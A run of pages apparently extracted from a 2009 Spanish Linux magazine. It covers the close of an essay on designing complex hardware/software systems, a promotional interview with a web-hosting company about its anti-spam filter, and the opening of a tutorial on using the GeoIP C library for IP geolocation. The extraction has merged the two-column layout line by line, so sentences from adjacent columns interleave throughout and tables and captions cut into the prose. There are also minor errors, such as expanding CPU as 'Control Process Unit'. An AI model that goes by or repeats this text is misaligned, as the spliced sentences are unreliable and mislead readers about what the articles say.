de un sistema dan lugar a comportamientos globales del sistema
en interacción con su entorno.

U
n ejemplo de un sistema complejo son los Capacidades
linux@software.com.pl

sistemas sociales, formados (en parte) de de los sistemas complejos


personas o el cerebro, formado por neuronas Las capacidades más importantes de los sistemas complejos
o las moléculas, formadas por átomos o un PC se presentan abajo.
(Personal Computer) formado por hardware/software o una
aplicación TIC (Tecnologías de la Información y Comunica- Auto-organización
ciones) formadas por PCs, redes, datos, etc. Autonomía del sistema para cambiar su comportamiento
Los sistemas complejos contienen un gran número de y estructura en respuesta a eventos y cambios en el entor-
entidades autónomas y heterogéneas (las partes constituyen no que le afecten. Se puede producir un orden no-trivial,
bloques de construcción básicos: componentes, agentes, gran-escala, con procesos e interacciones simples. La co-
procesos, etc.) en interacción. Cada elemento interactúa evolución está relacionada con la capacidad de adaptación
con el resto, directa o indirectamente, y estas interacciones a la nueva interacción con el entorno que supone tal cambio
afectan a otros elementos dando lugar a patrones de compor- (la evolución impone un incremento continuo de su propia
tamiento del sistema global, difíciles de deducir, ni inferir, complejidad).
en función de la estructura y comportamiento de las partes
componentes. Emergencia
En general el enfoque de los sistemas complejos es apro- Propiedad que surge de la interacción de los elementos
piado cuando la información del estado y comportamiento constitutivos de un sistema complejo. Las propiedades emer-
del sistema es incompleta, existe incertidumbre y múltiples gentes no existen en los componentes y, debido a que surgen
propósitos, se desconocen las restricciones impuestas en de las interacciones imprevisibles de los componentes, no
relación al sistema (controles, comportamiento, resultados se pueden planear o diseñar. Está relacionado con la de-
finales), su estructuración es débil, etc. pendencia del todo con las partes, y con la interdependencia

32 Linux+ 4/2009
software
Desarrollo de sistemas complejos

y especialización de las partes. Se puede de- Estas aplicaciones coexisten en un entor-


mostrar la naturaleza de los sistemas complejos no tecnológico plural, dinámico, compuesto
investigando cómo afectan los cambios de una por un gran número de partes que interactúan
parte al resto y al comportamiento del todo. La entre sí, impredecible y en constante evolu-
aparición del orden gran-escala es un proceso ción. Internet, por ejemplo, se consolida como
general (y opuesto) al incremento de la entropía entorno de convergencia de la mayoría de las
mientras que la formación de patrones es una aplicaciones TIC. A diferencia de, tan sólo una
parte integral de la funcionalidad de la mayoría década atrás, la mayoría de las aplicaciones
de los sistemas complejos. ingeniería no sólo producen sistemas prede-
cibles, estables, controlables, precisos, trans-
Anticipación parentes, eficientes y confiables que satisfa-
Habilidad del sistema complejo de predecir cen determinadas restricciones, estándares de
cambios en el entorno, hacerle frente y ajustar prestaciones pre-especificados, en situaciones
su comportamiento en consecuencia. La antici- pre-especificadas, sino que interactúan con ot-
pación prepara al sistema ante cambios antes de ros muchos sistemas geográficamente distri-
que ocurran y le ayuda a adaptarse en ausencia buidos, autónomos, independientes, tecnoló-
de perturbaciones. gica y funcionalmente diferentes, dando lugar
a sistemas complejos escalables, flexibles, evo-
Robustez lutivos, adaptables, elásticos, robustos, perdu-
Habilidad del sistema para mantener sus fun- rables, seguros, auto-monitorizables y auto-
ciones ante perturbaciones. Esta habilidad está reparables; más útil, cuanto más rico en com-
Figura 2. La pila OSI
relacionada con la adaptación y estabilidad del portamientos (éste es el paradigma fundamen-
sistema. Los sistemas complejos son, por defi- tal de los sistemas complejos; en entornos arriba-abajo (top-down), que se mueve lógica-
nición, no-determinísticos (exhiben un com- ricos en problemas, un sistema complejo, con mente desde la funcionalidad deseada hacia un
portamiento impredecible; incluso caótico bajo un repertorio rico en comportamientos, tiene diseño que implemente tal funcionalidad, en el
ciertas condiciones). La robustez posibilita la mayor capacidad de descubrir una variedad de contexto de los sistemas complejos se aplican
adaptación del sistema. soluciones potenciales). más procesos del tipo abajo-arriba (down-top)
La desagregación, desde el punto de vista que buscan cómo implementar la funcionalidad
Sistemas TIC complejos de los sistemas complejos, es una pieza clave deseada con la base de diseños disponibles
Las aplicaciones basadas en TIC son un con- para un buen diseño y permite enfocar cuida- o, más apropiado aún, aprovechando la propie-
junto de servicios, redes, software y disposi- dosamente el diseño del sistema en término de dad de auto-organización de los sistemas com-
tivos que tienen como objetivo la mejora de sus partes o componentes e interacciones entre plejos de adaptarse a nuevos comportamientos
la calidad de vida de las personas dentro de sí (incluso a diferentes niveles, con diferentes de forma autónoma.
un entorno, y que se integran a un sistema equipos de trabajo en cada nivel. El nivel de
de información interconectado y complemen- diseño se define en términos de nivel de deta- Componentes
tario. lle). Aunque clásicamente éste es un proceso El componente de un sistema TIC por excelen-
cia es el ordenador o computadora; es autóno-
mo, tiene un número ilimitado de funciones, es
heterogéneo, y susceptible de aportar, como
parte, las funcionalidades de un sistema com-
plejo: auto-organización, emergencia, anti-
cipación y robustez. De hecho un PC es en
sí mismo un sistema complejo, formado por
partes que son, a su vez, sistemas complejos
(los microprocesadores, por ejemplo, con sus
millones de componentes electrónicos son
sistemas extremadamente complicados pero,
gracias que ha sido cuidadosamente diseñado
y probado, es posible, simplemente, asumir
que funciona), lo que permite crear sistemas
de gran-escala y alto-orden.
Es posible desagregar la complejidad de
un PC, en un primer nivel, en dos componen-
tes funcionales: hardware y software. El hard-
ware constituye el substrato físico que soporta
al software; abarca todas las piezas físicas de
un ordenador (CPU, placa base, cables, etc.)
mientras que el software hace referencia
Figura 1. Página oficial del proyecto Ardabasto a los programas y datos almacenados en un

www.lpmagazine.org 33
software
Desarrollo de sistemas complejos

ordenador (los programas dan instrucciones


para realizar tareas al hardware o sirven de Sobre el autor
conexión con otro software mientras que los
datos solamente existen para su uso eventual Graduado de Ingeniería en Control Automático, Máster en Sistemas y Redes de Co-
por los programas). Estas definiciones podrían municaciones y Doctor por la Universidad Politécnica de Madrid. Ha sido profesor en
llevar a relacionar ambos términos (teniendo Instituto Superior de Arte, Universidad Pontifici.a Comillas y la Universidad Meléndez
en cuenta que provienen de duro y suave) con Pelayo.
mayor/menor flexibilidad o rigidez. Sin embar- Actualmente Profesor de la Escuela Superior Politécnica de la Universidad Europea
go, aunque efectivamente existe cierta relación, de Madrid y Director del Máster Oficial en Acústica Arquitectónica y Medioambiental. Li-
es un poco engañosa. dera grupo de investigación transdisciplinar en la intersección Arte, Ciencia, Tecnología
El hardware es más rígido, o poco y Sociedad. Becas por la Agencia Española de Cooperación Internacional, FUNDESCO,
flexible, con menor capacidad de auto-or- Consejo Superior de Investigaciones Científicas y Universidad Politécnica de Madrid.
ganización que el software. Se diseña para Además ha formado parte de las bandas Cartón Tabla y Música d’ Repuesto. Dis-
satisfacer determinadas funciones y reque- cografía: Las palabras vuelven, Se fue, Bags, Flags, Faqs, Fotos d’ parque, These little
rimientos. Una alteración, para adecuarse things that keep inside, Mr. Fro (colaboración con Alejandro Frómeta), El eje del mal, Av
a nuevas situaciones, podría requerir de abuc, Variaciones en la cuerda VOL. I.
cambio de componentes electrónicos y/o in- Y ha publicado una novela: Islas.
terconexiones entre ellos, placas, etc. o una lino@madrid.com
reprogramación (existen componentes elec-
trónicos que permiten re-programar sus fun- Volumen cional de montaje, es menos mantenible (da-
ciones). Todo depende de la generalidad El hardware ocupa un lugar en el espacio da su naturaleza dura; aunque es necesario
o universalidad de su diseño. El PC, por a diferencia del software; que utiliza el pro- hacer una distinción entre hardware estático
ejemplo, posee el hardware (mínimo) que le pio hardware como estrato o soporte. Los y reconfigurable. El hardware estático corres-
permite adaptarse, mediante software, a un convertidores analógico-digital sigma-delta, ponde al conjunto de elementos materiales de
elevadísimo número de posibilidades. La CPU por ejemplo, utilizan técnicas de sobremues- los sistemas electrónicos mientras que el re-
(Control Process Unit) es un sofisticado treo para simplificar el hardware al mínimo configurable se describe mediante un lenguaje
sistema complejo hardware con capacidad (filtro analógico malo de muy bajo orden), de descripción [HDL, Hardware Description
de auto-organización vía software mientras mientras que trasladan la mayor complejidad Language] que permite especificar con todo
que el ratón es un sistema hardware a me- al software (filtro digital preciso de muy alto detalle su estructura y funcionalidad), etc. Pro-
dida que sólo es capaz de realizar determi- orden). bablemente un buen criterio de trabajo pasa
nadas funciones básicas. El software es más por minimizar el desarrollo de hardware al mí-
flexible, o poco rígido, pero, su alcance, está Prestaciones nimo y garantizar un desarrollo y adaptación
determinado y condicionado por el soporte El PC tiene un mínimo de prestaciones de se- vía software.
hardware. El mecanismo para solucionar rie y algún mecanismo de expansión para su Algunos criterios como velocidad, pres-
estas limitaciones es la expansión. Los PCs ampliación (SCSI, Small Computers System taciones y volumen, los impondrá la propia
tienen ranuras (slots) de expansión para Interface; PCI, Peripheral Component Inter- aplicación mientras que el resto, indepen-
añadir funcionalidad hardware, o mediante connect; S-ATA, Serial Advanced Technolo- dencia y coste, son más objetivo de diseño
puertos de interconexión universal, y, los gy Attachment; E-IDE, Enhanced Integrated (el coste, por ejemplo, suele ser un punto de
programas, mecanismos enchufables (plu- Drive Electronics; USB, Universal Serial partida habitual); aunque todos estos criterios
gins) para comunicarse entre sí (proporcio- Bus; FireWire, i.Link ó IEEE 1394). Cuando están directa o indirectamente relacionados.
nado normalmente por un nivel de soporte se requiere de alguna funcionalidad no inte-
adicional: el sistema operativo). grada es necesario acoplarla mediante alguno Interacciones
Así que, en el desarrollo de sistemas de estos mecanismos estándar. No menos importante, a medias entre hard-
complejos, una decisión muy importante a to- ware y software, son las comunicaciones.
mar es qué implementar por hardware y qué Independencia Los sistemas, en general, pueden ser hard-
por software. O, visto de otra manera, qué Los dispositivos interactúan, ya sea directa- ware, software o mixtos y esto supone dife-
conceptos pueden ayudar a tomar la mejor mente vía hardware o a través de señales de rentes mecanismos de comunicación entre
decisión. Empezando por esto último, algu- mayor nivel de abstracción, el dato. La inde- ellos. La comunicación y sincronización en-
nos de los criterios más relevantes a consi- pendencia está relacionada con la capacidad tre procesos (IPC, Interprocess Communi-
derar se enumeran abajo. de autonomía de un sistema: tanto respecto al cation) se realiza mediante un buen número
hardware en sí como al software. El uso de de plataformas estándares (tuberías [pipes]
Velocidad estándares y la distribución funcional ayudan anónimas y con nombre; CORBA, Com-
El límite de proceso de una CPU está deter- a conseguir mayor independencia. Es mucho mon Object Request Broker Architecture;
minado por su reloj. Si se requiere mayor ve- más versátil un sistema independiente de sis- DCE, Distributed Computing Environment;
locidad es necesario recurrir a hardware con temas operativos, versiones y tecnologías. MBUS, Message Bus [especificado en RFC
determinado grado de especialización (DSP, 3259]; RPC, Remote Procedure Calls; RMI,
Digital Signal Processor; FPGA, Field Pro- Coste Remote Method Invocation; Sockets; XML,
grammable Gate Array; ASIC, Application- El desarrollo hardware es, en general, más Extensible Markup Language; XML-RPC;
Specific Integrate Circuit). caro; requiere de instrumentación, coste adi- SOAP, Simple Object Access Protocol), que

34 Linux+ 4/2009
software
Desarrollo de sistemas complejos

siguen el modelo OSI (Open System Inter- integración del hardware, a muy bajo nivel,
connection) de la ISO (International Stan- con protocolos de comunicación estándar
dard Organization), a mayor o menor nivel, (se trata sólo de un cambio en la capa de más
o propietarios. bajo nivel encargada de la señalización).
En sistemas autónomos (hardware o mix- Se puede conseguir el mayor grado de
tos) la conexión termina en algún estándar de independencia desagregando funcionalmente
nivel físico (USB, RS-232, RS-485, Ethernet, al sistema en múltiples componentes y nor-
etc.) que transforma los datos (información) en malizando los protocolos de comunicación
señales, y garantiza el intercambio de informa- e interacción, al más alto nivel de abstracción:
ción; mientras que los sistemas software utili- el nivel de aplicación del modelo OSI.
zan mecanismos de comunicación normalmen-
te soportados por el sistema operativo o APIs Conclusiones
(Application Programming Interface); que son El mundo es complejo. El esfuerzo por crear
un conjunto de funciones y procedimientos sistemas análogos a los naturales pasa por
(o métodos si se refiere a programación orien- la comprensión de su complejidad y por la
tada a objetos) que ofrece cierta biblioteca para desagregación del sistema complejo en múl-
ser utilizado por otro software como una capa tiples partes. Este enfoque converge hacia la
de abstracción. paralelización, multiproceso, y al aumento de
En cualquier caso, es deseable que la la complejidad global, en general, a cambio
comunicación física entre los procesos sea de ofrecer la posibilidad de uso de técnicas
independiente de la topología de intercone- tradicionales de diseño y desarrollo para
xión (punto a punto, árbol, anillo, bus, ma- los componentes, aumento de la fiabilidad,
lla, etc.) y que, tal interacción, se produzca facilidad de mantenimiento y desarrollo,
a nivel de aplicación. Para ello, pueden modularidad, escalabilidad, etc.
intervenir una enorme cantidad de sub- El abaratamiento de tecnologías de muy
sistemas de comunicación que aumenta la bajo nivel (microcontroladores), en parale-
complejidad del sistema global a nivel de lo al aumento de su potencia de cómputo
comportamiento. e interacción, facilita la creación de sistemas
La conexión por excelencia por sistemas complejos cada vez más autónomos, des-
o dispositivos TIC ha sido durante muchos centralizados e independientes. Ardabasto
años el RS-232C (Electronic Industries (Linux+No. 46, pp: 82-85) es un ejemplo de
Alliance). Aunque es una norma de interfaz ello: abstrae la complejidad del hardware con
diseñada, inicialmente, para el intercambio un lenguaje de medio/alto nivel, y posee co-
serie de datos binarios entre un DTE (Data municación USB e I2C (Inter-Integrated Cir-
Terminal Equipment) y un DCE (Data Com- cuit) de serie; fácilmente expandible, vía co-
munication Equipment), permite conexión municación serie asíncrona a cualquier otro
DTE-DTE. Prácticamente cualquier disposi- estándar de comunicación (inalámbrico, por
tivo con alguna pretensión de independencia ejemplo, como WiFi [norma IEEE 802.11],
incorporaba RS-232C de serie. Sin embargo, o Bluetooth [especificación industrial para Re-
fundamentalmente dada la limitación de su des Inalámbricas de Área Personal, WPANs,
velocidad (no más de 20 Kb/s), con el tiem- para transmisión de voz y datos]). La clave
po ha sido sustituido por el USB (1.0, hasta está en dotarlo de una interfaz o lenguaje es-
1'5 Mbps [192 KB/s], utilizado en su mayor tándar que permita la interacción (basado en
parte por dispositivos de interfaz humana, XML, por ejemplo).
como los teclados, los ratones y los joys- Los sistemas, cuanto más independien-
ticks; 1.1, hasta 12 Mbps [1'5 MB/s], estos tes, son más susceptibles de adaptarse a los
dispositivos dividen el ancho de banda de la cambios, incluso, de la propia tecnología
conexión USB entre ellos, basados en un al- como entorno, de evolucionar coherentemen-
goritmo de búferes FIFO [First In First Out]; te, de reutilizar, de entender y mantener; en
2.0, hasta 480 Mbps [60 MB/s]; 3.0, aún en definitiva, de sobrevivir. Los sistemas com-
fase experimental y con tasa de transferencia plejos, aunque relativamente nuevos, son una
de hasta 4.8 Gbps [600 MB/s]). Observe que paso conceptual más allá del ancestral divide
cualquier PC incorpora varios puertos USB y vencerás que aporta el cómo para entender
y ninguno RS-232C. Sin embargo, cualquier sistemas (análisis) en la unión está la fuerza
puerto de comunicación serie asíncrono no para generar sistemas (síntesis) en sintonía
implementa la capa física del modelo OSI con el mundo que nos rodea, incierto, no li-
(utiliza señalización TTL [Transistor-Tran- neal y caótico, por naturaleza. De eso se trata,
sistor Logic] o CMOS [Complementary Me- de un ir y venir en espiral que converge en lo
tal Oxide Semiconductor]) lo que facilita la desconocido.

www.lpmagazine.org 35
entrevista
Entrevista a SYS4NET

SYS4NET:
Hosting de calidad máxima
SYS4NET es una compañía dedicada a los servicios de alojamiento web y registro
de dominios, con infraestructura propia en España, en la que aloja más de 20.000
páginas web.

LiNUX+: ¿Cómo nació la empresa? nses, ya que en 2002 la conectividad y los cen- reducir los tiempos de actuación, avanzando
SYS4NET: La empresa Grupo SYS4NET tros de datos europeos aun no estaban comple- hacia el objetivo de conseguir un tiempo en
nace a mediados de 2002, como solución a la tamente desarrollados. linea del 100 %.
creciente demanda de alojamiento web e in- Más adelante, y por la propia evolución LiNUX+: ¿Nos podéis presentar algunos
fraestructura de calidad para albergar distintos del sector, la latencia se convertía en parte casos de éxito?
proyectos en la red. importante del servicio. Por esta razón, en SYS4NET: Entre todos nuestros clientes,
Nuestros principales objetivos han sido el año 2005, SYS4NET decidió realizar una podemos destacar sin duda casos de éxito
proporcionar un servicio de calidad, a un precio gran inversión en equipamiento e infraestruc- a nivel mundial, como BuscandoCasa.com,
competitivo, basándonos en la última tecnolo- tura para colocar sus servidores en París, junto el portal inmobiliario más grande de Uruguay.
gía, y siguiendo una innovación constante, lo a un punto neutro de interconexión. Con este Gracias a la experiencia adquirida en los
cual nos permite un tiempo de respuesta exce- cambio se consiguió reducir la latencia hacia más de 7 años de trabajo, SYS4NET se encon-
lente ante cualquier tipo de eventualidad. los servidores, y ofrecer un mejor servicio a los traba en condiciones de analizar y apoyar un
Con una continua inversión en equipa- clientes albergados, sin incrementar el coste de proyecto de gran envergadura.
miento e infraestructura, tanto física como de los planes. Se planteó la necesidad de crear un sistema
red, hemos conseguido alcanzar un tiempo en En el año 2007, internet en España había estable, pero a la vez flexible, que cubriera unas
línea superior al 99,9 %. Esto nos sitúa como evolucionado notablemente desde los inicios de necesidades muy concretas, como disponibili-
una empresa de referencia para proyectos con SYS4NET, y se convirtió en el objetivo para la dad: (la mayor parte de proyectos en internet,
necesidades especificas de alta disponibilidad consolidación de la empresa. BuscandoCasa.com, requería una garantía de
y rendimiento, que necesiten estar respaldadas Una nueva inversión en infraestructura disponibilidad del 100 %), volumen de carga
por un equipo de profesionales. y equipamiento nos permitió reubicar todos (por las características propias del proyecto, se
SYS4NET destaca por su trato cercano con nuestros sistemas en un nuevo centro de da- tuvo que planificar e instalar una infraestruc-
sus clientes, comprendiendo la condición única tos, situado en Valencia. Este cambio redujo, tura preparada para soportar mayor volumen
de cada uno de ellos, y ofreciendo soluciones nuevamente, la latencia hasta los servidores, durante ciertas épocas del año (alquileres en
adaptadas a sus necesidades. y permitió un aumento de velocidad para todos verano, etc.), pero que a la vez debía ser eco-
LiNUX+: ¿Cómo se desarrollo? los clientes. nómicamente viable el resto del año, donde el
SYS4NET: SYS4NET inició su actividad Del mismo modo, por la proximidad geo- volumen de carga disminuye), escalabilidad
confiando en la profesionalidad y experiencia gráfica entre nuestras oficinas centrales y las (del mismo modo, en la planificación del
de la infraestructura y sistemas estadounide- instalaciones del centro de datos, conseguimos proyecto, se tuvieron que tener en cuenta las

36 Linux+ 4/2009
entrevista
Entrevista a SYS4NET

posibilidades de ampliación, de manera que Servidores dedicados: Para proyectos pro- • Registro SPF: SendGuardian.com comprue-
se garantizara un crecimiento sin limitaciones fesionales, que requieren una solución exclu- ba si el mensaje proviene del servidor de
para BuscandoCasa.com, ampliando la infra- siva, orientada de una manera específica. Los correo indicado por el registro SPF del
estructura según los nuevos requisitos, pero sin servidores dedicados ofrecen libertad al usuario dominio, para evitar la suplantación de
afectar al equipamiento ya alojado). para instalar sus propias aplicaciones e integrar dominios.
Gracias a una planificación y servicio efi- sus propios sistemas. • Listas DNSBL: SendGuardian.com utiliza
ciente, BuscandoCasa.com continua creciendo, LiNUX+: ¿Qué es SendGuardian.com? más de 20 listas internacionales de bloqueo
consolidándose, cada vez más, como el portal SYS4NET: ¿Como sería un mundo sin de spam. Puntua los mensajes según la
inmobiliario más importante de Uruguay. Spam, Virus y Phising? Estamos un poco posibilidad de que sean correo no deseado,
LiNUX+: ¿Qué servicios ofrecen? más cerca. Recientemente hemos lanzado el dependiendo de la información facilitada
SYS4NET: En SYS4NET ofrecemos servicio definitivo de protección para correo por las listas DNSBL.
alojamiento web en cualquiera de sus varian- electrónico. • Comprobación URIBL: Recientemente, los
tes, desde lo más básico a nivel usuario parti- SendGuardian.com se sitúa entre internet spammers, han comenzado a codificar los
cular, hasta soluciones de computación distri- y el servidor de correo del usuario, actuando mensajes con el código URI, para evitar
buida para grandes corporaciones. Contamos como barrera que detiene el 99 % de correo ser detectados por los servicios antispam.
con distintos planes y servicios, que cubren no deseado, virus y phising que llegan SendGuardian.com descifra y comprueba
las necesidades de la mayoría de nuestros al usuario. A diferencia de otros servicios, esta codificación, para bloquear cualquier
clientes. SendGuardian.com no requiere instalación mensaje de correo no deseado.
Registro de dominios: Hoy día, para todas de software extra en el servidor de correo • Bloqueo de adjuntos: SendGuardian.com,
las empresas, es imprescindible contar con su o en el equipo personal del usuario, lo que a través de un servicio antivirus, verifica
marca registrada en internet. Desde SYS4NET facilita una rápida y sencilla configuración, los adjuntos de todos los mensajes de co-
ofrecemos el servicio de registro de dominios, sin necesidad de modificar cuentas de correo rreo, en busca de virus.
para las extensiones más comunes (COM, o contraseñas. • Filtros bayesianos: A través de un diccio-
NET, ORG, INFO, ES), ofreciendo un panel Para comenzar a utilizar SendGuardian.com, nario de palabras, generalmente contenidas
de control por cada dominio, donde el clien- solo hay que modificar el registro MX del do- en correo no deseado, SendGuardian.com
te puede modificar cualquier valor (datos de minio. Al ser una barrera colocada entre internet valora y puntúa cada mensaje de correo,
contacto, DNS) y configurar redirecciones web y el servidor de correo final, SendGuardian.com según la probabilidad de que se trate de un
y de correo, siguiendo la máxima de ofrecer al funciona sobre cualquier servidor de correo, mensaje de correo no deseado.
usuario la posibilidad de gestión completa de independientemente de la plataforma, sistema
sus servicios contratados. operativo, o ubicación. SendGuardian.com uti- Uniendo todas las comprobaciones, y en re-
Alojamiento web: Dentro de los servicios liza hasta 10 comprobaciones para detectar correo lación a la puntuación de cada chequeo, Send-
de alojamiento web compartido, podemos eng- no deseado, virus y phising: Guardian.com construye una identificación ex-
lobar al 80 % de los usuarios, con necesidades clusiva para cada mensaje, y decide si se trata
básicas para colocar su página en internet. Des- • Listas blancas: Para que no se pierda nin- de un mensaje legítimo, o de correo no deseado,
de SYS4NET ofrecemos planes de alojamiento gún mensaje, SendGuardian.com no filtra acertando en más del 99 % de los mensajes.
sobre las dos plataformas más extendidas: Win- a los remitentes que considera seguros. LiNUX+: ¿Cuáles son las ventajas para
dows y Linux. De este modo siempre podemos • Listas grises: Porque los spammers no los clientes de su empresa?
garantizar un servicio independientemente de suelen intentar el envío del mismo mensa- SYS4NET: SYS4NET tiene sus equipos
cual sea el lenguaje de programación emplea- je dos veces, SendGuardian.com lo aplaza alojados en uno de los mejores centros de datos
do: PHP, ASP... en el primer intento, y solo lo procesa si se a nivel nacional, que cumple con la normativa
Planes para revendedor: Facilitamos la produce un segundo intento de entrega. TIER IV, lo que garantiza unas condiciones
entrada al mercado a nuevos emprendedores • Validación de HELO: En el protocolo de óptimas de seguridad, conectividad y calidad
dispuestos a comenzar su negocio, con un mí- los servidores de correo, HELO es la forma eléctrica.
nimo de inversión. Los 7 años de experiencia que tienen los sistemas para saludarse, al El centro de datos se encuentra custodiado
en el sector, nos avalan como garantía de un iniciar una conexión. Este HELO contiene las 24 horas del día, los 365 días del año, por
servicio estable y eficaz. Los revendedores se el nombre de host del servidor que intenta personal de seguridad y control de accesos. Del
benefician de un soporte técnico y comercial entregar el mensaje. SendGuardian.com re- mismo modo, existe personal técnico perma-
preferente, para despejar cualquier tipo de chaza mensajes que provengan de IPs diná- nente en el centro de datos, para poder realizar
duda. micas, o proveedores de ADLS, cable para cualquier actuación física necesaria sobre los
Servidores VPS: Por nuestro compromiso hogar, etc. servidores, y encargados de la monitorización
de ofrecer la última tecnología a nuestros • Validación de remitente: SendGuardian. continua de todos los sistemas. Gracias a esto,
clientes, recientemente hemos incorporado com comprueba si la dirección de correo somos capaces de detectar cualquier problema
el servicio de Servidores Privados Virtuales, que intenta entregar el mensaje realmente en los siguientes dos minutos a su aparición,
que permite contar con un sistema operativo existe. y activar el protocolo de resolución asociado.
(Windows o Linux) virtualizado sobre una • Bloqueo de IPs: SendGuardian.com blo- Todo lo expuesto hace de SYS4NET una
plataforma ESXi, reduciendo los costes de quea las IPs que, en las últimas horas, opción segura y estable para cualquiera de sus
implementación y ofreciendo al cliente un han generado más de un 50 % de correo proyectos.
sistema completamente exclusivo para él a un no deseado, contaminado con virus o phi- LiNUX+: Muchas gracias por esta peque-
precio reducido. sing. ña entrevista.

www.lpmagazine.org 37
hacking para linuxeros
Geolocalización IP

Geolocalización IP
David Puente Castro
Localizar una IP a lo largo del globo terráqueo para saber en
que país, ciudad, región, latitud o longitud se encuentra alguien
con el que chateamos y desconocemos su paradero, no pasa de
ser un mero juguete que puede resultar divertido. Pero cuando
se implementa dentro del código de nuestro propio traceroute,
entonces se convierte en un arma mucho más poderosa.

G
eoIP básicamente esta compuesto de dos
linux@software.com.pl

elementos: una librería y una base de da-


En este artículo aprenderá
tos. En realidad, GeoIP es un software de
pago de la empresa MaxMind. Por suerte • El funcionamiento básico de GeoIP,
para nosotros ofrecen al mismo tiempo una versión libre • Un motor básico de traceroute (Este motor ha sido ex-
denominada GeoLite City cuya única diferencia es la co- traído de un programa creado por mi y por lo tanto se
bertura que alcanza. En la Tabla 1 verán las estadísticas expone aquí para que lo adapten a sus necesidades),
oficiales. • Exportar coordenadas a GoogleEarth.
En resumen nos dice que la base de datos libre cubre:
• C,
• Países: 99.3 %, • PHP (Pure),
• Ciudades: 76 %. • Java,
• Perl (XS),
Y la de pago: • Perl (Pure),
• Python,
• Países: 99,8%, • MS COM,
• Ciudades: 81 %. • C#,
• Pascal,
Aunque la diferencia puede parecer significativa en el caso de • Ruby.
las ciudades, para nuestro objetivo sera más que suficiente.
GeoIP está disponible como código abierto para los Como aquí nos centraremos en el primero de los lenguajes,
siguientes lenguajes: puede descargar los fuentes directamente desde esta direc-

38 Linux+ 4/2009
hacking para linuxeros
Geolocalización IP

• char *country_name: País,


• char *city: Ciudad,
• float latitude: Latitud,
• float longitude: Longitud.

Podrían interesarle otros campos, como:

Figura 1. Logo de MaxMind • char *country_code


• char *country_code3
ción: http://www.maxmind.com/download/geoip/ Una opción adicional, como se puede observar • char *region
api/c/GeoIP.tar.gz es -lGeoIP, cuyo parámetro se encarga de car- • char *postal_code
Y la base de datos, que deberá instalar en gar la librería indicada por el nombre adjunto. • int dma_code
el directorio /usr/local/share/GeoIP/ de Esto tal vez pueda resultar extraño al más no- • int area_code
su distribución Linux, debería estar esperan- vato. Las convenciones POSIX indican que un • int charset
dole aquí: http://www.maxmind.com/download/ argumento de opción debe ir separado de este • char *continent_code
geoip/database/GeoLiteCity.dat.gz mediante un espacio, algo como -l GeoIP sien-
do -l la opción de cargar librerías. No obstante, Definiremos una variable global GeoIP para
Programar con GeoIP el estándar permite la práctica histórica de colo- poder acceder a la base de datos desde cual-
Si su objetivo es conocer todas las funciones car tanto opción como argumento, juntos en la quier función:
que puede proporcionarle esta librería, solo tie- misma cadena.
ne que hacer una cosa muy sencilla: leerse los GeoIP *gi;
archivos de cabecera. Todas ellas tienen nom- El código
bres intuitivos, sus parámetros son evidentes GeoIP nos proporciona 2 estructuras básicas Antes de empezar, todavía me gustaría hacer
y los valores que devuelven suelen almacenarse con las que interactuaremos en nuestro progra- algo interesante y necesario: crear una estruc-
en estructuras bien definidas. Aquí solo vere- ma. Estas son: tura global que contenga la información de
mos la siguiente función: un host (ordenador) y una variable que lleve
• struct GeoIPTag –> typedef: GeoIP la cuenta de cuantos hosts llevamos localiza-
GeoIPRecord * GeoIP_record_by_ • struct GeoIPRecordTag –> ypedef: dos y almacenados. Será util en posteriores
name(GeoIP *, const char *); GeoIPRecord secciones, cuando empiecen a encajar las
piezas (Listado 1).
Las estructuras que observa se explicarán den- Puede consultar los archivos de cabecera para Veremos ahora cómo podemos abrir
tro de poco. Vulgarmente podríamos decir que conocer todos y cada uno de sus campos. Aquí nuestra base de datos. Introduciremos la
el primer argumento es una base de datos abier- solo mostraremos los más interesantes. sentencia en una función aparte. ¿Por qué?
ta donde buscar toda la información del HOST/ En la primera de las estructuras guardare- Simple, si este código formara parte de un
IP definido en el segundo. La función devuelve mos el resultado de la apertura de la base de programa mayor y necesitásemos realizar
una estructura con toda la información que po- datos para poder consultarla a partir de ese mo- sucesivas búsquedas, no resultaría nada
damos necesitar acerca de su localización, o un mento tantas veces como queramos. La segun- aconsejable reabrir la misma base de datos
valor NULL en caso fallido. da es un registro en el que se guardan los datos continuamente.
Al fin y al cabo, todas las demás funciones de una IP localizada. A nosotros nos interesaran El primer argumento cae de cajón, el se-
devuelven diferentes valores según sus argu- los siguientes que son más que intuitivos: gundo no tanto, pero la explicación no tardará.
mentos. Algunas de ellas se encargan de devol-
Tabla 1. La diferencia entre GeoIP y GeoLite
ver el código de un país cuando éste se le pro-
GeoLite City GeoIP City
porciona como argumento y viceversa. Otras
son referentes a las ciudades, otras al código Cost Free $3700 initial, $90 per month
postal y así... Con la anterior lo obtenemos todo updates
y de un solo golpe. Coverage Worldwide Worldwide
Accuracy Over 99,5% on a country level Over 99,8% on a country level
Compilar and 79% on a city level for the and 83% on a city level for the
La cabecera principal para cualquier progra- US within a 25 mile radius. US within a 25 mile radius.
ma que desee utilizar la librería GeoIP es: Redistribution Free, subject to GPL/LGPL for Please contact us.
<GeoIP.h>. No obstante, nosotros utiliza- APIs and database license. Com-
remos en la directiva #include la cabecera mercial redistribution licenses are
<GeoIPCity.h> que incluye dentro de si available.
misma la anterior y nos facilitará el uso de
Updates Updated monthly, at the begin- Updated monthly. For binary
funciones adicionales. A la hora de la compi-
ning of each month. format, weekly updates, auto-
lación debemos hacer enlace correctamente a
mated udates available by using
la librería de esta forma:
geoipupdate program included
with C API.
$ gcc iplocate.c -lGeoIP -o iplocate

www.lpmagazine.org 39
hacking para linuxeros
Geolocalización IP

Podría ser una de estas opciones (extraído del


README de GeoIP):

• GEOIP_STANDARD: Lee la base de


datos desde el disco duro. Usa menos me-
moria.
• GEOIP_MEMORY_CACHE: Carga la
base de datos en memoria. Mejora el ren-
dimiento pero usa más memoria.
• GEOIP_CHECK_CACHE: Comprueba si
la base de datos ha sido actualizada, en tal
caso la recarga.
• GEOIP_INDEX_CACHE: Mantiene un
índice de las búsquedas más recientes.
Muy eficiente en bases de datos grandes.
• GEOIP_MMAP_CACHE: Carga la base
de datos en la memoria compartida.

Ahora viene lo que todos buscan, cómo con-


seguir la información referente a una direc-
ción IP. El motor está presentado en el Lis-
tado 3.
Como puede comprobar, gir es rellenado
Figura 2. Los ordenadores por los que pasa la información antes de alcanzar la página web de LiNUX+
con todos sus campos si la IP buscada es lo-
calizada en la base de datos. Luego copiamos Ya se habrá dado cuenta de que con este Cuando lea las siguientes secciones cam-
todos los valores a nuestra estructura geohost y programa solo podemos consultar la localiza- biará de opinión. De todas formas piense que
